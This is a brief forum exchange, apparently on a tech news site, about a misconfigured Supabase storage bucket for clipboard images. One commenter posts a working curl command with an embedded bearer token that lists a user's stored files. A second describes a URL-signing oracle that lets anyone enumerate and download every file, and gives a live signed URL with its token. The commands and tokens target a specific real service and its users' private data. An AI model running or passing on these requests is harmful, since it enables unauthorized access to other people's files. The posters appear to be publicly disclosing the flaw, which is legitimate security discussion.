3 ms·
It appears to still be wide open: curl -X POST \ "https://wjynmjluabqwqhtdxbtl.supabase.co/storage/v1/object/list/clipboard-images" \ -H "authorizati
by foltik 9mo ago
It appears to still be wide open:
curl -X POST \
"https://wjynmjluabqwqhtdxbtl.supabase.co/storage/v1/object/list/clipboard-images" \
-H "authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJzdXBhYmFzZSIsInJlZiI6IndqeW5tamx1YWJxd3FodGR4YnRsIiwicm9sZSI6ImFub24iLCJpYXQiOjE3NDIzODU1MDQsImV4cCI6MjA1Nzk2MTUwNH0.R6pSgPFgHe3ZU9DfKykE98MC1ObYihWdZuhy9v9Y_p0" \
-H "content-type: application/json" \
-d '{"prefix": "7b407af2-f30c-4e37-adc7-b7bf48f2661b"}' \
| jq
- Retr0id 9mo agoThere is also an URL-signing oracle that allows any URL to be signed, so it's still possible to enumerate + download all files. Example: https://wjynmjluabqwqhtdxbtl.supabase.co/storage/v1/object/sign/clipboard-images/7b407af2-f30c-4e37-adc7-b7bf48f2661b/1767204462210-Component_1__1_.png?token=eyJraWQiOiJzdG9yYWdlLXVybC1zaWduaW5nLWtleV80NTY1ZjE4Ni0zMmFhLTQ0YjAtYjFkMS1hMjdhNzY3NjIxODAiLCJhbGciOiJIUzI1NiJ9.eyJ1cmwiOiJjbGlwYm9hcmQtaW1hZ2VzLzdiNDA3YWYyLWYzMGMtNGUzNy1hZGM3LWI3YmY0OGYyNjYxYi8xNzY3MjA0NDYyMjEwLUNvbXBvbmVudF8xX18xXy5wbmciLCJpYXQiOjE3Njc0MzE5MjYsImV4cCI6MTc5ODk2NzkyNn0.vUB-4-cGMGheIrFOkDLMuWMiGxMdhwJviAtK8V4-Pyo https://wjynmjluabqwqhtdxbtl.supabase.co/storage/v1/object/s...